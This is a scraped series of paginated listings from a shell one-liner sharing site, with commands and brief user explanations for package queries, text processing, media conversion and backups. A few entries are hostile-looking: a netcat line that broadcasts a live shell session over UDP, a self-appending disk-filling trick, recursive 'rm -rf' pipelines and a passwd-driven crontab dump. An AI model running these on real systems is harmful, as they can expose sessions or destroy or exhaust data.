http://www.kernel.org/pub/software/scm/git/docs/git-pull.html Tested on git 1.5.6.1, msysgit (Windows port) Actually this is not really the way I want it. I want it to attempt a fast-foward, but not attempt to merge or change my working copy. Unfortunately git pull doesn't have that functionality (yet?). ‹ First < 163 164 165 166 167 > Last › rpm -qa --qf '%{name}-%{version}-%{release}.%{arch}\n'|egrep 'compat|glibc|gcc|libst|binu'|sort binutils-2.18.50.20080409-11.1.x86_64 cdrkit-cdrtools-compat-1.1.7.1-16.1.x86_64 compat-libstdc++-5.0.7-121.1.x86_64 gcc-32bit-4.3-39.1.x86_64 gcc-4.3-39.1.x86_64 gcc43-32bit-4.3.1_20080507-6.1.x86_64 gcc43-4.3.1_20080507-6.1.x86_64 glibc-2.8-14.2.x86_64 glibc-32bit-2.8-14.2.x86_64 glibc-devel-2.8-14.2.x86_64 glibc-devel-32bit-2.8-14.2.x86_64 glibc-locale-2.8-14.2.x86_64 glibc-locale-32bit-2.8-14.2.x86_64 libgcc43-32bit-4.3.1_20080507-6.1.x86_64 libgcc43-4.3.1_20080507-6.1.x86_64 libstdc++43-32bit-4.3.1_20080507-6.1.x86_64 libstdc++43-4.3.1_20080507-6.1.x86_64 pulseaudio-esound-compat-0.9.10-26.5.x86_64 Get information about libraries currently installed on a system. This command is very helpful when we need to duplicate a test scenario and first we want to find out the installed libraries together with the version and release numbers and architecture. (look example) Command can be tuned by choosing just the names of libraries we are interested in. For example glibc and gcc. while true; do cat /usr/src/linux/kernel/signal.c > /dev/dsp; done Listen to a file replace "/usr/src/linux/kernel/signal.c" with any file you want and listen to its output ! :P you can also replace "cat" with "echo" or anything you can come up with have fun :-} Add to ~/.inputrc: set match-hidden-files off dot_clean remove OSX resource forks ._ files For each dir, dot_clean recursively merges all ._* files with their cor- responding native files according to the rules specified with the given arguments. By default, if there is an attribute on the native file that is also present in the ._ file, the most recent attribute will be used. If no operands are given, a usage message is output. If more than one directory is given, directories are merged in the order in which they are specified. services() { printf "$(service --status-all 2>&1|sed -e 's/\[ + \]/\\E\[42m\[ + \]\\E\[0m/g' -e 's/\[ - \]/\\E\[41m\[ - \]\\E\[0m/g' -e 's/\[ ? \]/\\E\[43m\[ ? \]\\E\[0m/g')\n";} Colored status of running services Replace service --status-all 2>&1 by service --status-all 2>/dev/null to hide all services with the status [ ? ] tail -f /var/log/squid/access.loc | ccze -CA The same with colors ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=''; for (( i=1; i<=(COLUMNS + w) / $w; i=i+1 )); do str+=$s; done; str=${str:0:COLUMNS} ; echo $str; done; } ....^....|....^....|....^....|....^....|....^....|....^....|....^....|....^....| 12345678901234567890123456789012345678901234567890123456789012345678901234567890 A similar version for Bash that doesn't require cut and shortens the function in a few places. And it uses local variables. (similar to a version by eightmillion in a comment on the another version) awk '/d[a-z]+$/{print $4}' /proc/partitions | xargs -i sudo hdparm -I /dev/{} | grep 'device size with M' Functions: awk grep hdparm size sudo xargs Show the 1000*1000 and 1024*1024 size of HDs on system xxd -l 0x04 $file; xxd -s -0x04 $file 0000000: 5261 7221 Rar! 002bd89: 0040 0700 .@.. get header and footer of file for use with scalpel file carving file carving helps if you know where the file you are looking for starts and ends. It's also an easy way to get data and catalog them for future use with forensic tools like scalpel. tt(){tree -pFCfa . | grep "$1" | less -RgIKNs -P "H >>> "} 1 . Ease your directory exploration Usage : tt [OCCURRENCE] tt will display a tree from your actual path tt .svn will display only line containing .svn svn st | awk ' {if ( $1 == "?" ){print $1="",$0}} ' | sed -e 's/^[ \t]*//' | sed 's/ /\\ /g' | xargs svn add Functions: awk sed xargs This should handle whitespaces well and will not get confused if your filenames have "?" in them script -qf >(nc -ub 192.168.1.255 5000) For client: nc -lu -s 192.168.1.255 -p 5000 Broadcast your shell thru UDP on port 5000 Better solution in case of many clients, imo. gsettings set org.gnome.desktop.background picture-uri 'file://<path-to-image>' Change gnome-shell wallpaper sed 's/^[ \t]*//' input.txt while [ "$(ls $filePart)" != "" ]; do sleep 5; done; mpg123 /home/.../warning.mp3 Functions: mpg123 sleep Audible warning when a downloading is finished This command can be set as an alias in ~/.bashrc For example (in my case) I have : alias watchDl='while [ "$(ls $filePart)" != "" ]; do sleep 5; done; mpg123 /home/.../warning.mp3" ' Then I just need to - initialize filePart (e.g. filePart="*bigFile*rar.part") - launch watchDl comment() { echo "" > /dev/null; } $ comment -- working on project 497 9957 May/03 - 12:10:11 comment -- working on project 497 9958 May/03 - 12:11:08 history Write comments to your history. A null operation with the name 'comment', allowing comments to be written to HISTFILE. Prepending '#' to a command will *not* write the command to the history file, although it will be available for the current session, thus '#' is not useful for keeping track of comments past the current session. cat /backup/hd7/rdiff-log.txt |grep Processing | awk '{ print $4 }' | sed -e 's/\// /g' | awk '{ print $1 }' |uniq -c |sort -n Functions: awk cat grep sed sort uniq most changed files in domains by rdiff-backup output sed -i.bak 's/old/new/g' file sed already has an option for editing files in place and making backup copies of the old file. -i will edit a file in place and if you give it an argument, it will make a backup file using that string as an extension. ps axo rss,comm,pid | awk '{ proc_list[$2] += $1; } END { for (proc in proc_list) { printf("%d\t%s\n", proc_list[proc],proc); }}' | sort -n | tail -n 10 Top ten (or whatever) memory utilizing processes (with children aggregate) - Can be done without the multi-dimensional array NAME=`wget --quiet URL -O - | grep util-vserver | tail -n 1 | sed 's|</a>.*||;s/.*>//'`; wget URL$UTILVSERVER; Functions: grep sed tail wget tr -d "\n" < file1 > file2 find /proc -regex '/proc/[0-9]+/smaps' -exec grep -l "$PATH_REGEX" {} \; | cut -d'/' -f2 Functions: cut find grep which procs have $PATH_REGEX open? faster than lsof by at least x2 on my box. xmllint --format <filename> > <output file> Adding formatting to an xml document for easier reading Sometimes you're trying to read through an xml file to determine whats wrong with it and a tool had removed all the linebreaks. xmllint will go ahead and make it pretty for you. exiv2 rename *.jpg find ~/Maildir/ -mindepth 1 -type d | egrep -v '/cur$|/tmp$|/new$' | xargs /home/thomas/Maildir/INBOX.Junk /home/thomas/Maildir/INBOX.Sent /home/thomas/Maildir/INBOX.Drafts /home/thomas/Maildir/INBOX.Redmine /home/thomas/Maildir/INBOX.pubs /home/thomas/Maildir/INBOX.OGS /home/thomas/Maildir/INBOX.archived /home/thomas/Maildir/INBOX.Awesome /home/thomas/Maildir/INBOX /home/thomas/Maildir/INBOX/INBOX.sent /home/thomas/Maildir/INBOX.CSC /home/thomas/Maildir/INBOX.Trash /home/thomas/Maildir/INBOX.cron-jobs /home/thomas/Maildir/INBOX.copro /home/thomas/Maildir/INBOX.MH /home/thomas/Maildir/INBOX.freebsd /home/thomas/Maildir/INBOX.Templates Functions: egrep find Build an exhaustive list of maildir folders for mutt Of course, you can adjust "Maildir" to your config... ‹ First < 164 165 166 167 168 > Last › ls -l `which foo` # ls -l `which gimp` lrwxrwxrwx 1 root root 8 Jul 2 10:33 /usr/bin/gimp -> gimp-2.6 Tells you where a command is in your $PATH, but also wether it's a link and to what. You may also use the $(which foo) variant instead of backticks. I personnaly have an alias ll='ls -l'. mv ./-filename filename If you don't escape the - of the filename, you will get the command interpreting it as a parameter, returning (in the best case) an error. ping -q -c 1 www.google.com|tail -1|cut -d/ -f5 Functions: cut ping tail seq 100000 | paste -sd+ | bc 5000050000 echo "GRUB_INIT_TUNE=\"480 440 4 440 4 440 4 349 3 523 1 440 4 349 3 523 1 440 8 659 4 659 4 659 4 698 3 523 1 415 4 349 3 523 1 440 8"\"" | sudo tee -a /etc/default/grub > /dev/null && sudo update-grub GRUB2: Set Imperial Death March as startup tune Kudos to http://www.commandlinefu.com/commands/view/8275/grub2-set-super-mario-as-startup-tune whichpkg () { dpkg -S $1 | egrep -w $(readlink -f "$(which $1)")$; } $ whichpkg write bsdmainutils: /usr/bin/bsd-write $ whichpkg telnet telnet: /usr/bin/telnet.netkit $ whichpkg ftp ftp: /usr/bin/netkit-ftp Functions: egrep readlink Advanced revision to the command 8776 . This revision follows symbolic links. The quotation-marks surrounding $(which $1) allows for graceful handling of errors ( ie. readlink does not complain incase 'which' command generates (null) output) unalias ls Functions: unalias Make ls output better visible on dark terminals in bash Sometimes you have a situation where you cannot properly see the ls output when you are using a terminal w/a dark background. Usually bash has ls aliased to use colors, and you can easily get ls to use the default foreground color via simply unaliasing the command. cut -d: -f1 /etc/passwd | grep -vE "#" | xargs -i{} crontab -u {} -l cut -d: -f1 /etc/passwd | grep -vE "#" | xargs -i{} crontab -u {} -l # m h dom mon dow command # mysql backup 0 6 * * * /scripts/automysqlbackup.sh /dev/null 2>&1 no crontab for daemon no crontab for bin no crontab for sys no crontab for sync no crontab for games Functions: crontab cut grep xargs list all crontabs for users additionally use "find /etc/cron*" for cronscripts cvs update -C Functions: cvs Override and update your locally modified files through cvs.. [ -z "$VAR" ] && echo "VAR has not been set" && exit 1 Functions: echo exit Check variable has been set UNIX95=1 ps -eHf ptree equivalent in HP-UX By setting the UNIX95 variable in HP-UX the XPG4 mode is activated, you get new options for ps and other commands, for me the best way to use this is to create an alias named ptree in root profile: alias ptree='UNIX95=1 ps -eH' echo sortmeplease | perl -pe 'chomp; $_ = join "", sort split //' Functions: echo join perl sort split Sort a character string using perl while read l; do echo ${l%% *}; done < three-column-list.txt > only-first-column.txt The above is an example of grabbing only the first column. You can define the start and end points specifically by chacater position using the following command: while read l; do echo ${l:10:40}; done < three-column-list.txt > column-c10-c40.txt Of course, it doesn't have to be a column, or extraction, it can be replacement while read l; do echo ${l/foo/bar}; done < list-with-foo.txt > list-with-bar.txt Read more about parameter expansion here: http://wiki.bash-hackers.org/syntax/pe Think of this as an alternative to awk or sed for file operations nc -zw2 www.example.com 80 || echo http service is down | mail -s 'http is down' admin@example.com This version uses netcat to check a particular service. seq 10 | paste -sd* | bc 3628800 head /dev/urandom | md5sum | base64 Functions: head md5sum Generate a quick, lengthy password echo -n $mypass | md5sum | awk {'print $1'} PASSSIZE=6 mypass=`/usr/bin/perl -le'print map+(A..Z,a..z,0..9)[rand 62],1..'$PASSSIZE` echo -n $mypass | md5sum | awk {'print $1'} Functions: awk echo md5sum Create a random password encrypted with md5 with custom lenght This was useful to generate random passwords to some webpage users, using the sample code, inside a bash script echo 'c84fa6b830e38ee8a551df61172d53d7 myfile' | md5sum -c Functions: echo md5sum sed 's/^\s*//' input.txt Removes any whitespace characters at the beginning of a line. mount /dev/root /mnt/root; rsync -avHX /mnt/root/ /mnt/target/ Functions: mount rsync copy root to new device Clone a root partition. The reason for double-mounting the root device is to avoid any filesystem overlay issues. This is particularly important for /dev. Also, note the importance of the trailing slashes on the paths when using rsync (search the man page for "slash" for more details). rsync and bash add several subtle nuances to path handling; using trailing slashes will effectively mean "clone this directory", even when run multiple times. For example: run once to get an initial copy, and then run again in single user mode just before rebooting into the new disk. Using file globs (which miss dot-files) or leaving off the trailing slash with rsync (which will create /mnt/target/root) are traps that are easy to fall into. /bin/rpm -qf /etc/passwd /etc/issue /etc/httpd/conf/httpd.conf Search for in which package the specified file is included. find . -name "*.php" -exec php -l {} \; | sed -e "/^No syntax/d" Parse error: syntax error, unexpected $end in ./test.php on line 10 Errors parsing ./test.php Parse error: syntax error, unexpected $end in ./bleh.php on line 4 Errors parsing ./bleh.php Checks the syntax of all PHP files in and below the current working directory Uses the PHP binary to check the syntax of all .php files in or below the current working directory. Really handy for doing that last minute check before you commit code to the repository. install -o user -g group -m 755 /path/to/file /path/to/dir/ Copy a file and force owner/group/mode This is useful when you want to copy a file and also force a user, a group and a mode for that file. Note: if you want to move that file instead of copying it, you can use install -o user -g group -m 755 /path/to/file /path/to/dir/ && rm -f /path/to/file which will remove the file only if the install command went fine. find . -type f -size +1100000k |xargs -I% du -sh % 1.1G ./Downloads/huge_avi.avi 1.2G ./Downloads/another_huge_avi.avi simple find -> xargs sort of thing that I get a lot of use out of. Helps find huge files and gives an example of how to use xargs to deal with them. Tested on OSX snow leopard (10.6). Enjoy. ip addr | awk '/inet / {sub(/\/.*/, "", $2); print $2}' 10.3.0.43 simple echo of IPv4 IP addresses assigned to a machine ifconfig is dead, long-live iproute2 this also uses only awk to do the grepping and removal of CIDR notation ‹ First < 165 166 167 168 169 > Last › find . -iname "*.mp3" -type f -print0 | xargs -0 -I '{}' mv {} /new/path/to/mp3/{} Functions: find mv xargs Move mp3 files to another path with existing subtree structure Use case: folder with flac files with tree structure ../artist/album/number-title.flac 1) convert flac->mp3 in the same folder: http://www.commandlinefu.com/commands/view/6341/convert-all-.flac-from-a-folder-subtree-in-192kb-mp3 2) search for mp3 files and recreate tree structure to another path: http://www.commandlinefu.com/commands/view/8853/copy-selected-folder-found-recursively-under-src-retaining-the-structure 3) move all mp3 files to that new folder: this command /usr/sbin/apache2ctl -S Simple list of apache2 virtualhosts Simply shows virtualhosts enabled, root access not needed (assuming apache2ctl is non-root executable). MyIps(){ echo -e "local:\n$(ifconfig $1 | grep -oP 'inet (add?r:)?\K(\d{1,3}\.){3}\d{1,3}')\n\npublic:\n$(curl -s sputnick-area.net/ip)"; } local: 10.0.0.1 10.0.0.221 public: 212.34.55.218 Show local/public IP adresses with or without interface argument using a shell function for Linux and MacOsX Like the tiltle said, you can use an argument too ( the interface ) MyIps eth0 will show only the IP of this interface and the public IP ( tested with Linux ) You can add that function in ~/.bashrc, then . ~/.bashrc Now you are ready to call this function in all your terms... for k in `git branch|sed s/^..//`;do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" "$k"`\\t"$k";done|sort find <dir> -name "<pattern>" | while read file; do echo -n .; output=$(<command>) || (echo ; echo $file:; echo "$output"; ); done e.g. ./file1.o: ..................... ./file2.o: .......................... Command template, executing a command over multiple files, outputing progress and fails only This is a command template for achiving the following: * loop over files --> find -name "" | while read file; do ...; done * output progress --> echo -n . * execute some command on each file and save output for later usage --> output=$() * if command failed, open subshell and echo newline --> || (echo;...;...;) * echo output of command --> echo "$output" curl -s $dellurl$1 | tr "\"" "\n" | grep "</td></tr><tr><td class=" -m 2 | grep -v "Service Tag" | sed 's/>//g' | sed 's/<\/td<\/tr<tr<td class=//g' Optiplex 755 Use Dell Service Tag $1 to Find Machine Model [Model Name and Model Number] convert -size 20x20 xc:white -fill black -draw "circle 10,10 14,14" miff:- | composite -tile - input.png -compose over miff:- | composite - input.png -compose copyopacity output.png drill holes on image dpkg --list '*linux*' | grep '^ii' ii linux-headers-2.6.24-23 2.6.24-23.48 Header files related to Linux kernel version 2.6 ii linux-headers-2.6.24-23-virtual 2.6.24-23.48 Linux kernel headers for version 2.6.24 on x86 ii linux-headers-virtual 2.6.24.23.25 Linux kernel headers for the virtual flavour ii linux-image-2.6.24-23-virtual 2.6.24-23.48 Linux kernel image for version 2.6.24 on x86 ii linux-image-virtual 2.6.24.23.25 Description: Linux kernel image geared towards v ii linux-libc-dev 2.6.24-23.48 Linux Kernel Headers for development ii linux-restricted-modules-common 2.6.24.16-23.56 Non-free Linux 2.6.24 modules helper script ii linux-sound-base 1.0.16-0ubuntu4 base package for ALSA and OSS sound systems ii linux-ubuntu-modules-2.6.24-23-virtual 2.6.24-23.37 Ubuntu supplied Linux modules for version 2.6.24 ii linux-virtual 2.6.24.23.25 Complete Linux kernel geared towards virtualised ii util-linux 2.13.1-5ubuntu3 Miscellaneous system utilities ii util-linux-locales 2.13.1-5ubuntu3 Locales files for util-linux Show one line summaries of all DEB packages installed on Ubuntu based on pattern search I sometimes want to know what packages are installed on my Ubuntu system. I still haven't figured out how to use aptitude effectively, so this is the next best thing. This allows finding by name. The grep '^ii' limits the display to only installed packages. If this is not specified, then it includes listing of non-installed packages as well. zcat a_big_file.gz | sed -ne "$(zcat a_big_file.gz | tr -d "[:print:]" | cat -n | grep -vP "^ *\d+\t$" | cut -f 1 | sed -e "s/\([0-9]\+\)/\1=;\1p;/" | xargs)" | tr -c "[:print:]\n" "?" Hi, I'm a line with ctrl?characters I?m another line Functions: sed tr zcat Scan a gz file for non-printable characters and display each line number and line that contains them. Scans the file once to build a list of line numbers that contain non-printable characters Scans the file again, passing those line numbers to sed as two commands to print the line number and the line itself. Also passes the output through a tr to replace the characters with a ? cdrecord -v -blank=all -force erase content from a cdrw shopt -s globstar ; rm -f **/cscope.out perl -e 'rand($.) < 1 && ($line = $_) while <>;' This is from perldoc -q random.*line, which says: This has a significant advantage in space over reading the whole file in. You can find a proof of this method in The Art of Computer Programming, Volume 2, Section 3.4.2, by Donald E. Knuth. Who am I to argue with Don Knuth? if [ $EUID -ne 0 ];then if [ -t $DISPLAY ]; then sudo $0 "$*"; exit; else xdg-su -c "$0 $*"; exit;fi;fi Will run the script as root and exit if the wrong or no password is given. Also will keep the parameters active if any where given. mplayer -vo caca MovieName.avi Watch movies in your terminal requires mplayer tail $0 >> $0 Fill up disk space (for testing) Put into some file. No special purpouse, just for fun... ruby -e 'puts "-" * 50' geoiplookup <ipadress> $ geoiplookup 74.125.79.99 GeoIP Country Edition: US, United States $ geoiplookup google.com Geolocate a given IP address GeoIP Needs to be installed. Can be done from some distro's or via MaxMind.com for free. There even is a free city database availabble. If the GeoLiteCity is downloaded and installed it will also find more information geoiplookup -f /var/lib/GeoIP/GeoLiteCity.dat commandlinefu.com GeoIP City Edition, Rev 1: US, NJ, Absecon, 08201, 39.420898, -74.497704, 504, 609 ps -e -orss=,args= | sort -b -k1,1n | pr -TW$COLUMNS Functions: pr ps sort memory usage parallel 'nc -z -v {1} {2}' ::: 192.168.1.10 192.168.1.11 ::: 80 25 110 simple port check command LC_ALL=C man -c man Fix borked character coding in a tty. Often you find some tty programs are messed up and confused about character encoding - 'man' is a common problem and sometimes displays weird characters for apostrophes, hyphens etc etc. Another class of programs that suffer from this are those that try to use the line drawing characters - eg RedHat's tty system admin functions such as system-config-firewall-tui system-config-network-tui etc. Adding 'LC_ALL=C' fixes most of these problems (as long as you want English! Perhaps speakers of other languages can add a comment here). For bonus points, I've added the '-c' option to the man command so that it ignores it's cache and re-computes the man page using the C locale. python -c 'import sys,csv; c = csv.reader(sys.stdin); [sys.stdout.write("^M".join(map(repr,r))+"\n") for r in c];' <tmp/test.csv | column -s '^M' -t 'Date' 'info' 'name' 'amount' '3/4/2009' 'abc123' 'Momo, Chika' '1,000.00' '9/14/2008' 'abc123' 'Kilo, Bamya' '500' '2/21/2009' 'abc123' 'Abeer, Bilhaj' '10,000' '5/9/2008' 'abc123' 'Adel, Ayoob' '100' '10/10/2008' 'abc123' 'Merabet, Jinkins' '' '10/13/2008' 'abc123' 'tito, micheal' '50' Functions: c++ column python Will handle pretty much all types of CSV Files. The ^M character is typed on the command line using Ctrl-V Ctrl-M and can be replaced with any character that does not appear inside the CSV. Tips for simpler CSV files: * If newlines are not placed within a csv cell then you can replace `map(repr, r)` with r sed -n '/^[^#]*<Virtual/{:l N; /<\/Virtual/!bl;}; /PATTERN/p' vhosts.conf Search apache virtual host by pattern Outputs contents of virtual hosts containing PATTERN. Particularly useful for pefrorming complex searches. E.g. search for docroot of www.example.com: sed -n '/^[^#]*<Virtual/{:l N; /<\/Virtual/!bl;}; /www\.example\.com/p' /etc/apache2/sites-enabled/* |grep DocumentRoot Note that "Virtual" here is case sensitive. In GNU sed you may add I (capital i) modifier for case-insensitive matching: sed -n '/^[^#]*<Virtual/I{:l N; /<\/Virtual/I!bl;}; /PATTERN/p' ... history | tail -(n+1) | head -(n) | sed 's/^[0-9 ]\{7\}//' >> ~/script.sh Functions: head sed tail Create a bash script from last n commands Uses history to get the last n+1 commands (since this command will appear as the most recent), then strips out the line number and this command using sed, and appends the commands to a file. archivefile=filename-$(date +%Y%m%d-%H%M).tar.gz Name a backup/archive file based on current date and time php -r "phpinfo\(\);" ‹ First < 166 167 168 169 170 > Last › vman(){ T=/tmp/$$.pdf;man -t $1 |ps2pdf - >$T; xpdf $T; rm -f $T; } You're a developer - but it doesn't mean you have to slum it! Why not spice up your man page lookups by using a decent PDF viewer. I use 'xpdf' - maybe you prefer acroread, whatever, it's just as fast as plain dull ASCII on today's machines and you can still search for stuff - that's the main reason I use PDF and not PS. diff <(ssh user@host1 cat /path/to/file) <(ssh user@host2 cat /path/to/file2) diff 2 remote files watch -d -n 5 df Watch the disk fill up with change highlighting If you add the -d flag each difference in the command's output will be highlighted. I also monitor individual drives by adding them to df. Makes for a nice thin status line that I can shove to the bottom of the monitor. svn status | grep ^? | awk '{print $2}' | xargs rm -rf SVN Clean Removes all unversioned files and folders from an svn repository. Also: svn status --no-ignore | grep ^I | awk '{print $2}' | xargs rm -rf will remove those files which svn status ignores. Handy to add to a script which is in your path so you can run it from any repository (a la 'svn_clean.sh'). ssh -i $PRIVATEKEY $HOST -C 'cd $SOURCE; tar -cz --numeric-owner .' | tee $DESTINATION/backup.tgz | tar -tz Functions: ssh tar tee Backup with SSH in a archive PRIVATEKEY - Of course the full path to the private key \n HOST - The host where to get the backup \n SOURCE - The directory you wish to backup \n DESTINATION - The destination for the backup on your local machine :r! echo % vim insert current filename insert filename Normal mode: "%p Insert mode: % utime(){ perl -e "print localtime($1).\"\n\"";} $ utime 1234567890 Sat Feb 14 01:31:30 2009 A shell function using perl to easily convert Unix-time to text. Put in in your ~/.bashrc or equivalent. Tested on Linux / Solaris Bourne, bash and zsh. using perl 5.6 and higher. (Does not require GNU date like some other commands) while read n; do host $n; done < list Functions: host read Ruby - nslookup against a list of IP`s or FQDN`s This version uses host and no ruby. sudo ethtool -s eth0 speed 100 duplex full How to speedup the Ethernet device ethtool is used for querying settings of an ethernet device and changing them. In this example I setup 100 Mb/s full duplex on my Linux Box curl -s "$URL" |wc -c find . -name "*.py" | xargs wc -l Get line count for any file ending with extension recursively rooted at the current directory. perl -F',' -ane '$a += $F[3]; END { print $a }' test.csv More of the same but with more elaborate perl-fu :-) find . -type f |xargs -I% sed -i '/group name/s/>/ deleteMissing="true">/' % Functions: find sed xargs Recursively replace a string in files with lines matching string Changed out the for loop for an xargs. It's a tad shorter, and a tad cleaner. flac -cd input.flac |lame -h - output.mp3 input.flac: done Using polyphase lowpass filter, transition band: 16538 Hz - 17071 Hz Encoding <stdin> to output.mp3 Encoding as 44.1 kHz j-stereo MPEG-1 Layer III (11x) 128 kbps qval=2 convert flac to mp3 if you haven't already done so, install lame and flac: ssh root@192.168.0.1 "cd /;nice -n 10 tar cvpP ?exclude={"/proc/*","/sys*","/tmp/*","/home/user/*"} /">backup.tar.gz backup system over ssh, exlucde common dirs grep "HTTP/1.1\" 404" access_log | awk '{print $7 } ' | sort | uniq -c | sort -n Extract all 404 errors from your apache accesslog (prefix lines by occurrences number) chown -cR --from=olduser:oldgroup newuser:newgroup * Functions: chown Recursive Ownership Change Changing files ownership in a directory recursivley from a user to another emerge -epv world | grep USE | cut -d '"' -f 2 | sed 's/ /\n/g' | sed '/[(,)]/d' | sed s/'*'//g | sort | uniq > use && grep ^- use | sed s/^-// | sed ':a;N;$!ba;s/\n/ /g' > notuse && sed -i /^-/d use && sed -i ':a;N;$!ba;s/\n/ /g' use Functions: cut grep sed sort uniq For Gentoo users : helping with USE / emerge This command puts all the flags of the USE variable actually used by the packages you emerged to the file "use", and those which are unused but available to the file "notuse" for i in `git log --all --oneline --format=%h`; do git grep SOME_STRING $i; done search string in _all_ revisions export PS1='C:${PWD//\//\\\}>' Incase you miss the famous 'C:\>' prompt sed 's/:/\n/g' <<<$PATH /home/user/bin /opt/real/RealPlayer another method : awk '{gsub(/:/, "\n");print}' grep -Ri searchterm ~/.purple/logs/* | sed -e 's/<.*?>//g' Search trought pidgin's conversation logs for "searchterm", and output the result. will search trought pidgin conversation logs for "searchterm", and output them stripping the html tags. The "sed" command is optionnal if your logs are stored in plain text format. find . ! -name "." -print0 | xargs -0 -I '{}' mv -n '{}' ..; rmdir "$PWD" Functions: find mv rmdir xargs Robust means of moving all files up by a directory. Will handle dot files, filenames containing spaces, and filenames with almost any printable characters. Will not handle filenames containing a single-quote (but if you are moving those, it's time to go yell at whoever created them in the first place). dumpe2fs -h /dev/sda1 2> /dev/null | awk -F ':' '{ if($1 == "Reserved block count") { rescnt=$2 } } { if($1 == "Block count") { blkcnt=$2 } } END { print "Reserved blocks: "(rescnt/blkcnt)*100"%" }' Reserved blocks: 5% Functions: awk dumpe2fs Check the reserved block percentage of an Ext2/3 filesystem Just change /dev/sda1 to whatever your partition of interest is. This snippet should do the rest. find . -maxdepth 1 -type f -not -iname '*.jpg' -ls |awk '{TOTAL+=$7} END {print int(TOTAL/(1024^2))"MB"}' 588MB How to estimate the storage size of all files not named *.[extension] on the current directory With this sentence we can estimate the storage size of all files not named *.jpg on the current directory. The syntax is based on Linux, for Unix compliance use: find ./* -prune ! -name '*.jpg' -ls |awk '{TOTAL+=$7} END {print int(TOTAL/(1024^2))"MB"}' We can change the jpg extension for whatever extension what we need ‹ First < 167 168 169 170 171 > Last › ssh-keygen -l -f [pubkey] | awk '{print $2}' | tr -ds ':' '' | egrep -ie "[a-f0-9]{32}" Functions: awk egrep ssh ssh-keygen tr Validate openssh key & print checksum rsync -zav --progress original_files_directory/ root@host(IP):/path/to/destination/ Rsync between two servers copying files from one server to another using rysnc. Root access need to be allowed on the destination. sips -s format jpeg Bild.pdf --out Bild.jpg convert a pdf to jpeg Converts a .pdf to .jpg . should work with jpeg | tiff | png | gif | jp2 | pict | bmp | qtif | psd | sgi | tga echo <ctrl+v><ctrl+o><enter> Also works in places where reset does not. lsof -p$! Keep a close eye on a backgrounded job Run a command in the background, then follow it up with lsof -p$!. Useful as a very quick way to troubleshoot something. lsof -p$! -r2 # can be used to keep updating the lsof display at 2s intervals, filter the output as needed. find . -name .svn -type d |xargs rm -rf dpkg -l python Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Description +++-===============================================-====================================-============================================================================== ii python 2.6.6-3+squeeze2 interactive high-level object-oriented language (default version) Check if a package is installed. If it is, the version number will be shown. If the first two letters are "ii", then the package is installed. You can also use wildcards. For example, dpkg -l openoffice* Note that dpkg will usually not report packages which are available but uninstalled. If you want to see both which versions are installed and which versions are available, use this command instead: apt-cache policy python ffmpeg -i inputfile.avi -croptop 88 -cropbottom 88 -cropleft 360 -cropright 360 outputfile.avi Cropping a video file in ffmpeg mencoder -tv device=/dev/video1 tv:// -ovc copy -o video.avi Record camera's output to a avi file video.avi is the resulting file. Press Ctrl+c to stop the recording. You can change the OVC option to another to record into a different format. xrandr -q|sed -n 's/.*current[ ]\([0-9]*\) x \([0-9]*\),.*/\1x\2/p' 2960x1050 To show your current resolution on your desktop netstat -nr | awk 'BEGIN {while ($3!="0.0.0.0") getline; print $2}' This is to fetch the Gateway Ip Address of a machine. Use the below format to put the value in a variable if you wish to find the gateway ip in a script GATEWAY=$(netstat -nr | awk 'BEGIN {while ($3!="0.0.0.0") getline; print $2}') abs_value=-1234; echo ${abs_value#-} 1234 How to get an absolute value Whenever we are only interested in difference between two numbers and not the positive/negative values we can use this in script. getent hosts positon.org | cut -d' ' -f1 Functions: cut getent Get IP from host I just wanted a simple DNS request. Because host and nslookup commands are not on all systems, we use getent instead. Thanks aulem for that tip. find /name/of/dir/ -name '*.txt' | xargs grep 'text I am searching for' /name/of/dir/hello.txt: text I am searching for is hello, world /name/of/dir/foo.txt: text I am searching for is foo bar baz search for text in files. recursive. recursively search dir for a a particular file type, search each file for a particular text. function nuke() { if [ $(whoami) != "root" ] ; then for x in $@; do sudo apt-get autoremove --purge $x; done; else for x in $@; do apt-get autoremove --purge $x; done; fi } hello@goodbye:~$ nuke amarok emacs vim E: Couldn't find package amarok E: Couldn't find package emacs E: Couldn't find package vim hello@goodbye:~$ Remove apps with style: nuke it from orbit You can't stand programs x, y, and z. Remove all trace of their existence by adding this function to your config. It will remove the cruft, the settings, and such and such. This function doesn't even give a damn about you trying to remove programs that don't exist: it'll just for loop to the next one on your hit list. mencoder video.avi lavc -lavcopts vcodec=mpeg4:vbitrate=800 newvideo.avi Encode a file to MPEG4 format Encode video.avi into newvideo.avi using the libav codec to produce an MPEG4 file with a bitrate of 800 mencoder -ovc copy -nosound input.avi -o output.avi Remove sound from video file using mencoder Remove sound from input video file, output video stream is copied from input video stream, with no audio. tar cfz backup-`date +%F`.tgz somedirs Same, but count of signs is little less :) . svn diff --diff-cmd="colordiff" svn diff colorized If colordiff utility installed, it is sometimes handy to call this command. Of course, you should create an alias for it. E.g. svndiff. mplayer -fs -cookies -cookies-file /tmp/cookie.txt $(youtube-dl -g --cookies /tmp/cookie.txt "http://www.youtube.com/watch?v=PTOSvEX-YeY") function fork () { tf=$(tempfile -d /tmp -p $1.);echo -n "$tf "; $@ &>$tf& } $ fork echo hello world /tmp/echo.A68NMR [1] 5747 [1]+ Done $@ >&$tf $cat /tmp/echo.A68NMR Easily run a program in the background without losing output This function runs a program in the background, and logs all output to an automatically created logfile. That way, you can still get at the output without it clogging up your terminal. Tip: Throw fork() and this: for prog in firefox kate konqueror ;do alias $prog="fork $prog";done into your bashrc, so that they'll automatically run out of the way. mencoder -ovc copy -audiofile input.mp3 -oac copy input.avi -o output.avi Substitute audio track of video file using mencoder Creates a new video file with video stream copied from input file and a different audio stream if [ "$testnum" -eq "$testnum" 2>/dev/null ]; then echo It is numeric; fi $ export testnum=123 $ if [ "$testnum" -eq "$testnum" 2>/dev/null ]; then echo It is numeric; fi It is numeric $ [ "$testnum" -eq "$testnum" 2>/dev/null ] && echo It is numeric $ export testnum=123xxx Check if variable is a number Using the standard numeric comparison but suppressing the STDERR output acts as the simplest way to check a value is numeric. See sample output for some examples. grep -n "^" <filename> Prints line numbers If you don't have nl on your system, this achieves a similar effect, the default behavior in nl is to not number blank lines, but this does. objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 